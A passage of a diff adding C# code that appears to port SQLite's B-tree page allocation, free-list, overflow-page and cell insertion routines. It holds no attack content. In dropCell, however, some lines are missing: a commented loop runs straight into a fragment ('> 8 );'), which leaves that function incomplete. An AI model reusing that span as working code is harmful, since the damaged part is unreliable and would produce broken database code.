); + ppPage = pTrunk; + searchList = 0; + rc = sqlite3PagerWrite( pTrunk.pDbPage ); + if ( rc != 0 ) + { + goto end_allocate_page; + } + if ( k == 0 ) + { + if ( null == pPrevTrunk ) + { + //memcpy(pPage1.aData[32], pTrunk.aData[0], 4); + pPage1.aData[32 + 0] = pTrunk.aData[0 + 0]; + pPage1.aData[32 + 1] = pTrunk.aData[0 + 1]; + pPage1.aData[32 + 2] = pTrunk.aData[0 + 2]; + pPage1.aData[32 + 3] = pTrunk.aData[0 + 3]; + } + else + { + rc = sqlite3PagerWrite( pPrevTrunk.pDbPage ); + if ( rc != SQLITE_OK ) + { + goto end_allocate_page; + } + //memcpy(pPrevTrunk.aData[0], pTrunk.aData[0], 4); + pPrevTrunk.aData[0 + 0] = pTrunk.aData[0 + 0]; + pPrevTrunk.aData[0 + 1] = pTrunk.aData[0 + 1]; + pPrevTrunk.aData[0 + 2] = pTrunk.aData[0 + 2]; + pPrevTrunk.aData[0 + 3] = pTrunk.aData[0 + 3]; + } + } + else + { + /* The trunk page is required by the caller but it contains + ** pointers to free-list leaves. The first leaf becomes a trunk + ** page in this case. + */ + MemPage pNewTrunk = new MemPage(); + Pgno iNewTrunk = sqlite3Get4byte( pTrunk.aData, 8 ); + if ( iNewTrunk > mxPage ) + { + rc = SQLITE_CORRUPT_BKPT(); + goto end_allocate_page; + } + testcase( iNewTrunk == mxPage ); + rc = btreeGetPage( pBt, iNewTrunk, ref pNewTrunk, 0 ); + if ( rc != SQLITE_OK ) + { + goto end_allocate_page; + } + rc = sqlite3PagerWrite( pNewTrunk.pDbPage ); + if ( rc != SQLITE_OK ) + { + releasePage( pNewTrunk ); + goto end_allocate_page; + } + //memcpy(pNewTrunk.aData[0], pTrunk.aData[0], 4); + pNewTrunk.aData[0 + 0] = pTrunk.aData[0 + 0]; + pNewTrunk.aData[0 + 1] = pTrunk.aData[0 + 1]; + pNewTrunk.aData[0 + 2] = pTrunk.aData[0 + 2]; + pNewTrunk.aData[0 + 3] = pTrunk.aData[0 + 3]; + sqlite3Put4byte( pNewTrunk.aData, (u32)4, (u32)( k - 1 ) ); + Buffer.BlockCopy( pTrunk.aData, 12, pNewTrunk.aData, 8, (int)( k - 1 ) * 4 );//memcpy( pNewTrunk.aData[8], ref pTrunk.aData[12], ( k - 1 ) * 4 ); + releasePage( pNewTrunk ); + if ( null == pPrevTrunk ) + { + Debug.Assert( sqlite3PagerIswriteable( pPage1.pDbPage ) ); + sqlite3Put4byte( pPage1.aData, (u32)32, iNewTrunk ); + } + else + { + rc = sqlite3PagerWrite( pPrevTrunk.pDbPage ); + if ( rc != 0 ) + { + goto end_allocate_page; + } + sqlite3Put4byte( pPrevTrunk.aData, (u32)0, iNewTrunk ); + } + } + pTrunk = null; + TRACE( "ALLOCATE: %d trunk - %d free pages left\n", pPgno, n - 1 ); +#endif + } + else if ( k > 0 ) + { + /* Extract a leaf from the trunk */ + u32 closest; + Pgno iPage; + byte[] aData = pTrunk.aData; + if ( nearby > 0 ) + { + u32 i; + int dist; + closest = 0; + dist = sqlite3AbsInt32( (int)(sqlite3Get4byte( aData, 8 ) - nearby )); + for ( i = 1; i < k; i++ ) + { + int d2 = sqlite3AbsInt32( (int)(sqlite3Get4byte( aData, 8 + i * 4 ) - nearby )); + if ( d2 < dist ) + { + closest = i; + dist = d2; + } + } + } + else + { + closest = 0; + } + + iPage = sqlite3Get4byte( aData, 8 + closest * 4 ); + testcase( iPage == mxPage ); + if ( iPage > mxPage ) + { + rc = SQLITE_CORRUPT_BKPT(); + goto end_allocate_page; + } + testcase( iPage == mxPage ); + if ( 0 == searchList || iPage == nearby ) + { + int noContent; + pPgno = iPage; + TRACE( "ALLOCATE: %d was leaf %d of %d on trunk %d" + + ": %d more free pages\n", + pPgno, closest + 1, k, pTrunk.pgno, n - 1 ); + rc = sqlite3PagerWrite( pTrunk.pDbPage ); + if ( rc != 0) + goto end_allocate_page; + if ( closest < k - 1 ) + { + Buffer.BlockCopy( aData, (int)( 4 + k * 4 ), aData, 8 + (int)closest * 4, 4 );//memcpy( aData[8 + closest * 4], ref aData[4 + k * 4], 4 ); + } + sqlite3Put4byte( aData, (u32)4, ( k - 1 ) );// sqlite3Put4byte( aData, 4, k - 1 ); + noContent = !btreeGetHasContent( pBt, pPgno ) ? 1 : 0; + rc = btreeGetPage( pBt, pPgno, ref ppPage, noContent ); + if ( rc == SQLITE_OK ) + { + rc = sqlite3PagerWrite( ( ppPage ).pDbPage ); + if ( rc != SQLITE_OK ) + { + releasePage( ppPage ); + } + } + searchList = 0; + } + } + releasePage( pPrevTrunk ); + pPrevTrunk = null; + } while ( searchList != 0 ); + } + else + { + /* There are no pages on the freelist, so create a new page at the + ** end of the file */ + rc = sqlite3PagerWrite( pBt.pPage1.pDbPage ); + if ( rc != 0 ) + return rc; + pBt.nPage++; + if ( pBt.nPage == PENDING_BYTE_PAGE( pBt ) ) + pBt.nPage++; + +#if !SQLITE_OMIT_AUTOVACUUM + if ( pBt.autoVacuum && PTRMAP_ISPAGE( pBt, pBt.nPage ) ) + { + /* If pPgno refers to a pointer-map page, allocate two new pages + ** at the end of the file instead of one. The first allocated page + ** becomes a new pointer-map page, the second is used by the caller. + */ + MemPage pPg = null; + TRACE( "ALLOCATE: %d from end of file (pointer-map page)\n", pPgno ); + Debug.Assert( pBt.nPage != PENDING_BYTE_PAGE( pBt ) ); + rc = btreeGetPage( pBt, pBt.nPage, ref pPg, 1 ); + if ( rc == SQLITE_OK ) + { + rc = sqlite3PagerWrite( pPg.pDbPage ); + releasePage( pPg ); + } + if ( rc != 0 ) + return rc; + pBt.nPage++; + if ( pBt.nPage == PENDING_BYTE_PAGE( pBt ) ) + { + pBt.nPage++; + } + } +#endif + sqlite3Put4byte( pBt.pPage1.aData, (u32)28, pBt.nPage ); + pPgno = pBt.nPage; + + Debug.Assert( pPgno != PENDING_BYTE_PAGE( pBt ) ); + rc = btreeGetPage( pBt, pPgno, ref ppPage, 1 ); + if ( rc != 0 ) + return rc; + rc = sqlite3PagerWrite( ( ppPage ).pDbPage ); + if ( rc != SQLITE_OK ) + { + releasePage( ppPage ); + } + TRACE( "ALLOCATE: %d from end of file\n", pPgno ); + } + + Debug.Assert( pPgno != PENDING_BYTE_PAGE( pBt ) ); + +end_allocate_page: + releasePage( pTrunk ); + releasePage( pPrevTrunk ); + if ( rc == SQLITE_OK ) + { + if ( sqlite3PagerPageRefcount( ( ppPage ).pDbPage ) > 1 ) + { + releasePage( ppPage ); + return SQLITE_CORRUPT_BKPT(); + } + ( ppPage ).isInit = 0; + } + else + { + ppPage = null; + } + Debug.Assert( rc != SQLITE_OK || sqlite3PagerIswriteable( ( ppPage ).pDbPage ) ); + return rc; +} + +/* +** This function is used to add page iPage to the database file free-list. +** It is assumed that the page is not already a part of the free-list. +** +** The value passed as the second argument to this function is optional. +** If the caller happens to have a pointer to the MemPage object +** corresponding to page iPage handy, it may pass it as the second value. +** Otherwise, it may pass NULL. +** +** If a pointer to a MemPage object is passed as the second argument, +** its reference count is not altered by this function. +*/ +static int freePage2( BtShared pBt, MemPage pMemPage, Pgno iPage ) +{ + MemPage pTrunk = null; /* Free-list trunk page */ + Pgno iTrunk = 0; /* Page number of free-list trunk page */ + MemPage pPage1 = pBt.pPage1; /* Local reference to page 1 */ + MemPage pPage; /* Page being freed. May be NULL. */ + int rc; /* Return Code */ + int nFree; /* Initial number of pages on free-list */ + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + Debug.Assert( iPage > 1 ); + Debug.Assert( null == pMemPage || pMemPage.pgno == iPage ); + + if ( pMemPage != null ) + { + pPage = pMemPage; + sqlite3PagerRef( pPage.pDbPage ); + } + else + { + pPage = btreePageLookup( pBt, iPage ); + } + + /* Increment the free page count on pPage1 */ + rc = sqlite3PagerWrite( pPage1.pDbPage ); + if ( rc != 0 ) + goto freepage_out; + nFree = (int)sqlite3Get4byte( pPage1.aData, 36 ); + sqlite3Put4byte( pPage1.aData, 36, nFree + 1 ); + + if ( pBt.secureDelete ) + { + /* If the secure_delete option is enabled, then + ** always fully overwrite deleted information with zeros. + */ + if ( ( null == pPage && ( ( rc = btreeGetPage( pBt, iPage, ref pPage, 0 ) ) != 0 ) ) + || ( ( rc = sqlite3PagerWrite( pPage.pDbPage ) ) != 0 ) + ) + { + goto freepage_out; + } + Array.Clear( pPage.aData, 0, (int)pPage.pBt.pageSize );//memset(pPage->aData, 0, pPage->pBt->pageSize); + } + + /* If the database supports auto-vacuum, write an entry in the pointer-map + ** to indicate that the page is free. + */ +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if ( pBt.autoVacuum ) +#else +if (false) +#endif + { + ptrmapPut( pBt, iPage, PTRMAP_FREEPAGE, 0, ref rc ); + if ( rc != 0 ) + goto freepage_out; + } + + /* Now manipulate the actual database free-list structure. There are two + ** possibilities. If the free-list is currently empty, or if the first + ** trunk page in the free-list is full, then this page will become a + ** new free-list trunk page. Otherwise, it will become a leaf of the + ** first trunk page in the current free-list. This block tests if it + ** is possible to add the page as a new free-list leaf. + */ + if ( nFree != 0 ) + { + u32 nLeaf; /* Initial number of leaf cells on trunk page */ + + iTrunk = sqlite3Get4byte( pPage1.aData, 32 ); + rc = btreeGetPage( pBt, iTrunk, ref pTrunk, 0 ); + if ( rc != SQLITE_OK ) + { + goto freepage_out; + } + + nLeaf = sqlite3Get4byte( pTrunk.aData, 4 ); + Debug.Assert( pBt.usableSize > 32 ); + if ( nLeaf > (u32)pBt.usableSize / 4 - 2 ) + { + rc = SQLITE_CORRUPT_BKPT(); + goto freepage_out; + } + if ( nLeaf < (u32)pBt.usableSize / 4 - 8 ) + { + /* In this case there is room on the trunk page to insert the page + ** being freed as a new leaf. + ** + ** Note that the trunk page is not really full until it contains + ** usableSize/4 - 2 entries, not usableSize/4 - 8 entries as we have + ** coded. But due to a coding error in versions of SQLite prior to + ** 3.6.0, databases with freelist trunk pages holding more than + ** usableSize/4 - 8 entries will be reported as corrupt. In order + ** to maintain backwards compatibility with older versions of SQLite, + ** we will continue to restrict the number of entries to usableSize/4 - 8 + ** for now. At some point in the future (once everyone has upgraded + ** to 3.6.0 or later) we should consider fixing the conditional above + ** to read "usableSize/4-2" instead of "usableSize/4-8". + */ + rc = sqlite3PagerWrite( pTrunk.pDbPage ); + if ( rc == SQLITE_OK ) + { + sqlite3Put4byte( pTrunk.aData, (u32)4, nLeaf + 1 ); + sqlite3Put4byte( pTrunk.aData, (u32)8 + nLeaf * 4, iPage ); + if ( pPage != null && !pBt.secureDelete ) + { + sqlite3PagerDontWrite( pPage.pDbPage ); + } + rc = btreeSetHasContent( pBt, iPage ); + } + TRACE( "FREE-PAGE: %d leaf on trunk page %d\n", iPage, pTrunk.pgno ); + goto freepage_out; + } + } + + /* If control flows to this point, then it was not possible to add the + ** the page being freed as a leaf page of the first trunk in the free-list. + ** Possibly because the free-list is empty, or possibly because the + ** first trunk in the free-list is full. Either way, the page being freed + ** will become the new first trunk page in the free-list. + */ + if ( pPage == null && SQLITE_OK != ( rc = btreeGetPage( pBt, iPage, ref pPage, 0 ) ) ) + { + goto freepage_out; + } + rc = sqlite3PagerWrite( pPage.pDbPage ); + if ( rc != SQLITE_OK ) + { + goto freepage_out; + } + sqlite3Put4byte( pPage.aData, iTrunk ); + sqlite3Put4byte( pPage.aData, 4, 0 ); + sqlite3Put4byte( pPage1.aData, (u32)32, iPage ); + TRACE( "FREE-PAGE: %d new trunk page replacing %d\n", pPage.pgno, iTrunk ); + +freepage_out: + if ( pPage != null ) + { + pPage.isInit = 0; + } + releasePage( pPage ); + releasePage( pTrunk ); + return rc; +} +static void freePage( MemPage pPage, ref int pRC ) +{ + if ( ( pRC ) == SQLITE_OK ) + { + pRC = freePage2( pPage.pBt, pPage, pPage.pgno ); + } +} + +/* +** Free any overflow pages associated with the given Cell. +*/ +static int clearCell( MemPage pPage, int pCell ) +{ + BtShared pBt = pPage.pBt; + CellInfo info = new CellInfo(); + Pgno ovflPgno; + int rc; + int nOvfl; + u32 ovflPageSize; + + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + btreeParseCellPtr( pPage, pCell, ref info ); + if ( info.iOverflow == 0 ) + { + return SQLITE_OK; /* No overflow pages. Return without doing anything */ + } + ovflPgno = sqlite3Get4byte( pPage.aData, pCell, info.iOverflow ); + Debug.Assert( pBt.usableSize > 4 ); + ovflPageSize = (u16)( pBt.usableSize - 4 ); + nOvfl = (int)( ( info.nPayload - info.nLocal + ovflPageSize - 1 ) / ovflPageSize ); + Debug.Assert( ovflPgno == 0 || nOvfl > 0 ); + while ( nOvfl-- != 0 ) + { + Pgno iNext = 0; + MemPage pOvfl = null; + if ( ovflPgno < 2 || ovflPgno > btreePagecount( pBt ) ) + { + /* 0 is not a legal page number and page 1 cannot be an + ** overflow page. Therefore if ovflPgno<2 or past the end of the + ** file the database must be corrupt. */ + return SQLITE_CORRUPT_BKPT(); + } + if ( nOvfl != 0 ) + { + rc = getOverflowPage( pBt, ovflPgno, out pOvfl, out iNext ); + if ( rc != 0 ) + return rc; + } + + if ( ( pOvfl != null || ( ( pOvfl = btreePageLookup( pBt, ovflPgno ) ) != null ) ) + && sqlite3PagerPageRefcount( pOvfl.pDbPage ) != 1 + ) + { + /* There is no reason any cursor should have an outstanding reference + ** to an overflow page belonging to a cell that is being deleted/updated. + ** So if there exists more than one reference to this page, then it + ** must not really be an overflow page and the database must be corrupt. + ** It is helpful to detect this before calling freePage2(), as + ** freePage2() may zero the page contents if secure-delete mode is + ** enabled. If this 'overflow' page happens to be a page that the + ** caller is iterating through or using in some other way, this + ** can be problematic. + */ + rc = SQLITE_CORRUPT_BKPT(); + } + else + { + rc = freePage2( pBt, pOvfl, ovflPgno ); + } + if ( pOvfl != null ) + { + sqlite3PagerUnref( pOvfl.pDbPage ); + } + if ( rc != 0 ) + return rc; + ovflPgno = iNext; + } + return SQLITE_OK; +} + +/* +** Create the byte sequence used to represent a cell on page pPage +** and write that byte sequence into pCell[]. Overflow pages are +** allocated and filled in as necessary. The calling procedure +** is responsible for making sure sufficient space has been allocated +** for pCell[]. +** +** Note that pCell does not necessary need to point to the pPage.aData +** area. pCell might point to some temporary storage. The cell will +** be constructed in this temporary area then copied into pPage.aData +** later. +*/ +static int fillInCell( +MemPage pPage, /* The page that contains the cell */ +byte[] pCell, /* Complete text of the cell */ +byte[] pKey, i64 nKey, /* The key */ +byte[] pData, int nData, /* The data */ +int nZero, /* Extra zero bytes to append to pData */ +ref int pnSize /* Write cell size here */ +) +{ + int nPayload; + u8[] pSrc; + int pSrcIndex = 0; + int nSrc, n, rc; + int spaceLeft; + MemPage pOvfl = null; + MemPage pToRelease = null; + byte[] pPrior; + int pPriorIndex = 0; + byte[] pPayload; + int pPayloadIndex = 0; + BtShared pBt = pPage.pBt; + Pgno pgnoOvfl = 0; + int nHeader; + CellInfo info = new CellInfo(); + + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + + /* pPage is not necessarily writeable since pCell might be auxiliary + ** buffer space that is separate from the pPage buffer area */ + // TODO -- Determine if the following Assert is needed under c# + //Debug.Assert( pCell < pPage.aData || pCell >= &pPage.aData[pBt.pageSize] + // || sqlite3PagerIswriteable(pPage.pDbPage) ); + + /* Fill in the header. */ + nHeader = 0; + if ( 0 == pPage.leaf ) + { + nHeader += 4; + } + if ( pPage.hasData != 0 ) + { + nHeader += (int)putVarint( pCell, nHeader, (int)( nData + nZero ) ); //putVarint( pCell[nHeader], nData + nZero ); + } + else + { + nData = nZero = 0; + } + nHeader += putVarint( pCell, nHeader, (u64)nKey ); //putVarint( pCell[nHeader], *(u64*)&nKey ); + btreeParseCellPtr( pPage, pCell, ref info ); + Debug.Assert( info.nHeader == nHeader ); + Debug.Assert( info.nKey == nKey ); + Debug.Assert( info.nData == (u32)( nData + nZero ) ); + + /* Fill in the payload */ + nPayload = nData + nZero; + if ( pPage.intKey != 0 ) + { + pSrc = pData; + nSrc = nData; + nData = 0; + } + else + { + if ( NEVER( nKey > 0x7fffffff || pKey == null ) ) + { + return SQLITE_CORRUPT_BKPT(); + } + nPayload += (int)nKey; + pSrc = pKey; + nSrc = (int)nKey; + } + pnSize = info.nSize; + spaceLeft = info.nLocal; + // pPayload = &pCell[nHeader]; + pPayload = pCell; + pPayloadIndex = nHeader; + // pPrior = &pCell[info.iOverflow]; + pPrior = pCell; + pPriorIndex = info.iOverflow; + + while ( nPayload > 0 ) + { + if ( spaceLeft == 0 ) + { +#if !SQLITE_OMIT_AUTOVACUUM + Pgno pgnoPtrmap = pgnoOvfl; /* Overflow page pointer-map entry page */ + if ( pBt.autoVacuum ) + { + do + { + pgnoOvfl++; + } while ( + PTRMAP_ISPAGE( pBt, pgnoOvfl ) || pgnoOvfl == PENDING_BYTE_PAGE( pBt ) + ); + } +#endif + rc = allocateBtreePage( pBt, ref pOvfl, ref pgnoOvfl, pgnoOvfl, 0 ); +#if !SQLITE_OMIT_AUTOVACUUM + /* If the database supports auto-vacuum, and the second or subsequent +** overflow page is being allocated, add an entry to the pointer-map +** for that page now. +** +** If this is the first overflow page, then write a partial entry +** to the pointer-map. If we write nothing to this pointer-map slot, +** then the optimistic overflow chain processing in clearCell() +** may misinterpret the uninitialised values and delete the +** wrong pages from the database. +*/ + if ( pBt.autoVacuum && rc == SQLITE_OK ) + { + u8 eType = (u8)( pgnoPtrmap != 0 ? PTRMAP_OVERFLOW2 : PTRMAP_OVERFLOW1 ); + ptrmapPut( pBt, pgnoOvfl, eType, pgnoPtrmap, ref rc ); + if ( rc != 0 ) + { + releasePage( pOvfl ); + } + } +#endif + if ( rc != 0 ) + { + releasePage( pToRelease ); + return rc; + } + + /* If pToRelease is not zero than pPrior points into the data area + ** of pToRelease. Make sure pToRelease is still writeable. */ + Debug.Assert( pToRelease == null || sqlite3PagerIswriteable( pToRelease.pDbPage ) ); + + /* If pPrior is part of the data area of pPage, then make sure pPage + ** is still writeable */ + // TODO -- Determine if the following Assert is needed under c# + //Debug.Assert( pPrior < pPage.aData || pPrior >= &pPage.aData[pBt.pageSize] + // || sqlite3PagerIswriteable(pPage.pDbPage) ); + + sqlite3Put4byte( pPrior, pPriorIndex, pgnoOvfl ); + releasePage( pToRelease ); + pToRelease = pOvfl; + pPrior = pOvfl.aData; + pPriorIndex = 0; + sqlite3Put4byte( pPrior, 0 ); + pPayload = pOvfl.aData; + pPayloadIndex = 4; //&pOvfl.aData[4]; + spaceLeft = (int)pBt.usableSize - 4; + } + n = nPayload; + if ( n > spaceLeft ) + n = spaceLeft; + + /* If pToRelease is not zero than pPayload points into the data area + ** of pToRelease. Make sure pToRelease is still writeable. */ + Debug.Assert( pToRelease == null || sqlite3PagerIswriteable( pToRelease.pDbPage ) ); + + /* If pPayload is part of the data area of pPage, then make sure pPage + ** is still writeable */ + // TODO -- Determine if the following Assert is needed under c# + //Debug.Assert( pPayload < pPage.aData || pPayload >= &pPage.aData[pBt.pageSize] + // || sqlite3PagerIswriteable(pPage.pDbPage) ); + + if ( nSrc > 0 ) + { + if ( n > nSrc ) + n = nSrc; + Debug.Assert( pSrc != null ); + Buffer.BlockCopy( pSrc, pSrcIndex, pPayload, pPayloadIndex, n );//memcpy(pPayload, pSrc, n); + } + else + { + byte[] pZeroBlob = sqlite3Malloc( n ); // memset(pPayload, 0, n); + Buffer.BlockCopy( pZeroBlob, 0, pPayload, pPayloadIndex, n ); + } + nPayload -= n; + pPayloadIndex += n;// pPayload += n; + pSrcIndex += n;// pSrc += n; + nSrc -= n; + spaceLeft -= n; + if ( nSrc == 0 ) + { + nSrc = nData; + pSrc = pData; + } + } + releasePage( pToRelease ); + return SQLITE_OK; +} + +/* +** Remove the i-th cell from pPage. This routine effects pPage only. +** The cell content is not freed or deallocated. It is assumed that +** the cell content has been copied someplace else. This routine just +** removes the reference to the cell from pPage. +** +** "sz" must be the number of bytes in the cell. +*/ +static void dropCell( MemPage pPage, int idx, int sz, ref int pRC ) +{ + u32 pc; /* Offset to cell content of cell being deleted */ + u8[] data; /* pPage.aData */ + int ptr; /* Used to move bytes around within data[] */ + int endPtr; /* End of loop */ + int rc; /* The return code */ + int hdr; /* Beginning of the header. 0 most pages. 100 page 1 */ + + if ( pRC != 0 ) + return; + + Debug.Assert( idx >= 0 && idx < pPage.nCell ); +#if SQLITE_DEBUG + Debug.Assert( sz == cellSize( pPage, idx ) ); +#endif + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + data = pPage.aData; + ptr = pPage.cellOffset + 2 * idx; //ptr = &data[pPage.cellOffset + 2 * idx]; + pc = (u32)get2byte( data, ptr ); + hdr = pPage.hdrOffset; + testcase( pc == get2byte( data, hdr + 5 ) ); + testcase( pc + sz == pPage.pBt.usableSize ); + if ( pc < (u32)get2byte( data, hdr + 5 ) || pc + sz > pPage.pBt.usableSize ) + { + pRC = SQLITE_CORRUPT_BKPT(); + return; + } + rc = freeSpace( pPage, pc, sz ); + if ( rc != 0 ) + { + pRC = rc; + return; + } + //endPtr = &data[pPage->cellOffset + 2*pPage->nCell - 2]; + //assert( (SQLITE_PTR_TO_INT(ptr)&1)==0 ); /* ptr is always 2-byte aligned */ + //while( ptr> 8 ); + data[pPage.hdrOffset + 4] = (byte)( pPage.nCell ); //put2byte( data, hdr + 3, pPage.nCell ); + pPage.nFree += 2; +} + +/* +** Insert a new cell on pPage at cell index "i". pCell points to the +** content of the cell. +** +** If the cell content will fit on the page, then put it there. If it +** will not fit, then make a copy of the cell content into pTemp if +** pTemp is not null. Regardless of pTemp, allocate a new entry +** in pPage.aOvfl[] and make it point to the cell content (either +** in pTemp or the original pCell) and also record its index. +** Allocating a new entry in pPage.aCell[] implies that +** pPage.nOverflow is incremented. +** +** If nSkip is non-zero, then do not copy the first nSkip bytes of the +** cell. The caller will overwrite them after this function returns. If +** nSkip is non-zero, then pCell may not point to an invalid memory location +** (but pCell+nSkip is always valid). +*/ +static void insertCell( +MemPage pPage, /* Page into which we are copying */ +int i, /* New cell becomes the i-th cell of the page */ +u8[] pCell, /* Content of the new cell */ +int sz, /* Bytes of content in pCell */ +u8[] pTemp, /* Temp storage space for pCell, if needed */ +Pgno iChild, /* If non-zero, replace first 4 bytes with this value */ +ref int pRC /* Read and write return code from here */ +) +{ + int idx = 0; /* Where to write new cell content in data[] */ + int j; /* Loop counter */ + int end; /* First byte past the last cell pointer in data[] */ + int ins; /* Index in data[] where new cell pointer is inserted */ + int cellOffset; /* Address of first cell pointer in data[] */ + u8[] data; /* The content of the whole page */ + u8 ptr; /* Used for moving information around in data[] */ + u8 endPtr; /* End of the loop */ + + int nSkip = ( iChild != 0 ? 4 : 0 ); + + if ( pRC != 0 ) + return; + + Debug.Assert( i >= 0 && i <= pPage.nCell + pPage.nOverflow ); + Debug.Assert( pPage.nCell <= MX_CELL( pPage.pBt ) && MX_CELL( pPage.pBt ) <= 10921 ); + Debug.Assert( pPage.nOverflow <= ArraySize( pPage.aOvfl ) ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + /* The cell should normally be sized correctly. However, when moving a + ** malformed cell from a leaf page to an interior page, if the cell size + ** wanted to be less than 4 but got rounded up to 4 on the leaf, then size + ** might be less than 8 (leaf-size + pointer) on the interior node. Hence + ** the term after the || in the following assert(). */ + Debug.Assert( sz == cellSizePtr( pPage, pCell ) || ( sz == 8 && iChild > 0 ) ); + if ( pPage.nOverflow != 0 || sz + 2 > pPage.nFree ) + { + if ( pTemp != null ) + { + Buffer.BlockCopy( pCell, nSkip, pTemp, nSkip, sz - nSkip );//memcpy(pTemp+nSkip, pCell+nSkip, sz-nSkip); + pCell = pTemp; + } + if ( iChild != 0 ) + { + sqlite3Put4byte( pCell, iChild ); + } + j = pPage.nOverflow++; + Debug.Assert( j < pPage.aOvfl.Length );//(int)(sizeof(pPage.aOvfl)/sizeof(pPage.aOvfl[0])) ); + pPage.aOvfl[j].pCell = pCell; + pPage.aOvfl[j].idx = (u16)i; + } + else + { + int rc = sqlite3PagerWrite( pPage.pDbPage ); + if ( rc != SQLITE_OK ) + { + pRC = rc; + return; + } + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + data = pPage.aData; + cellOffset = pPage.cellOffset; + end = cellOffset + 2 * pPage.nCell; + ins = cellOffset + 2 * i; + rc = allocateSpace( pPage, sz, ref idx ); + if ( rc != 0 ) + { + pRC = rc; + return; + } + /* The allocateSpace() routine guarantees the following two properties + ** if it returns success */ + Debug.Assert( idx >= end + 2 ); + Debug.Assert( idx + sz <= (int)pPage.pBt.usableSize ); + pPage.nCell++; + pPage.nFree -= (u16)( 2 + sz ); + Buffer.BlockCopy( pCell, nSkip, data, idx + nSkip, sz - nSkip ); //memcpy( data[idx + nSkip], pCell + nSkip, sz - nSkip ); + if ( iChild != 0 ) + { + sqlite3Put4byte( data, idx, iChild ); + } + //ptr = &data[end]; + //endPtr = &data[ins]; + //assert( ( SQLITE_PTR_TO_INT( ptr ) & 1 ) == 0 ); /* ptr is always 2-byte aligned */ + //while ( ptr > endPtr ) + //{ + // *(u16*)ptr = *(u16*)&ptr[-2]; + // ptr -= 2; + //} + for ( j = end; j > ins; j -= 2 ) + { + data[j + 0] = data[j - 2]; + data[j + 1] = data[j - 1]; + } + put2byte( data, ins, idx ); + put2byte( data, pPage.hdrOffset + 3, pPage.nCell ); +#if !SQLITE_OMIT_AUTOVACUUM + if ( pPage.pBt.autoVacuum ) + { + /* The cell may contain a pointer to an overflow page. If so, write + ** the entry for the overflow page into the pointer map. + */ + ptrmapPutOvflPtr( pPage, pCell, ref pRC ); + } +#endif + } +} + +/* +** Add a list of cells to a page. The page should be initially empty. +** The cells are guaranteed to fit on the page. +*/ +static void assemblePage( +MemPage pPage, /* The page to be assemblied */ +int nCell, /* The number of cells to add to this page */ +u8[] apCell, /* Pointer to a single the cell bodies */ +int[] aSize /* Sizes of the cells bodie*/ +) +{ + int i; /* Loop counter */ + int pCellptr; /* Address of next cell pointer */ + int cellbody; /* Address of next cell body */ + byte[] data = pPage.aData; /* Pointer to data for pPage */ + int hdr = pPage.hdrOffset; /* Offset of header on pPage */ + int nUsable = (int)pPage.pBt.usableSize; /* Usable size of page */ + + Debug.Assert( pPage.nOverflow == 0 ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + Debug.Assert( nCell >= 0 && nCell <= (int)MX_CELL( pPage.pBt ) + && (int)MX_CELL( pPage.pBt ) <= 10921 ); + + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + + /* Check that the page has just been zeroed by zeroPage() */ + Debug.Assert( pPage.nCell == 0 ); + Debug.Assert( get2byteNotZero( data, hdr + 5 ) == nUsable ); + + pCellptr = pPage.cellOffset + nCell * 2; //data[pPage.cellOffset + nCell * 2]; + cellbody = nUsable; + for ( i = nCell - 1; i >= 0; i-- ) + { + u16 sz = (u16)aSize[i]; + pCellptr -= 2; + cellbody -= sz; + put2byte( data, pCellptr, cellbody ); + Buffer.BlockCopy( apCell, 0, data, cellbody, sz );// memcpy(&data[cellbody], apCell[i], sz); + } + put2byte( data, hdr + 3, nCell ); + put2byte( data, hdr + 5, cellbody ); + pPage.nFree -= (u16)( nCell * 2 + nUsable - cellbody ); + pPage.nCell = (u16)nCell; +} +static void assemblePage( +MemPage pPage, /* The page to be assemblied */ +int nCell, /* The number of cells to add to this page */ +u8[][] apCell, /* Pointers to cell bodies */ +u16[] aSize, /* Sizes of the cells */ +int offset /* Offset into the cell bodies, for c# */ +) +{ + int i; /* Loop counter */ + int pCellptr; /* Address of next cell pointer */ + int cellbody; /* Address of next cell body */ + byte[] data = pPage.aData; /* Pointer to data for pPage */ + int hdr = pPage.hdrOffset; /* Offset of header on pPage */ + int nUsable = (int)pPage.pBt.usableSize; /* Usable size of page */ + + Debug.Assert( pPage.nOverflow == 0 ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + Debug.Assert( nCell >= 0 && nCell <= MX_CELL( pPage.pBt ) && MX_CELL( pPage.pBt ) <= 5460 ); + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + + /* Check that the page has just been zeroed by zeroPage() */ + Debug.Assert( pPage.nCell == 0 ); + Debug.Assert( get2byte( data, hdr + 5 ) == nUsable ); + + pCellptr = pPage.cellOffset + nCell * 2; //data[pPage.cellOffset + nCell * 2]; + cellbody = nUsable; + for ( i = nCell - 1; i >= 0; i-- ) + { + pCellptr -= 2; + cellbody -= aSize[i + offset]; + put2byte( data, pCellptr, cellbody ); + Buffer.BlockCopy( apCell[offset + i], 0, data, cellbody, aSize[i + offset] );// memcpy(&data[cellbody], apCell[i], aSize[i]); + } + put2byte( data, hdr + 3, nCell ); + put2byte( data, hdr + 5, cellbody ); + pPage.nFree -= (u16)( nCell * 2 + nUsable - cellbody ); + pPage.nCell = (u16)nCell; +} + +static void assemblePage( +MemPage pPage, /* The page to be assemblied */ +int nCell, /* The number of cells to add to this page */ +u8[] apCell, /* Pointers to cell bodies */ +u16[] aSize /* Sizes of the cells */ +) +{ + int i; /* Loop counter */ + int pCellptr; /* Address of next cell pointer */ + int cellbody; /* Address of next cell body */ + u8[] data = pPage.aData; /* Pointer to data for pPage */ + int hdr = pPage.hdrOffset; /* Offset of header on pPage */ + int nUsable = (int)pPage.pBt.usableSize; /* Usable size of page */ + + Debug.Assert( pPage.nOverflow == 0 ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + Debug.Assert( nCell >= 0 && nCell <= MX_CELL( pPage.pBt ) && MX_CELL( pPage.pBt ) <= 5460 ); + 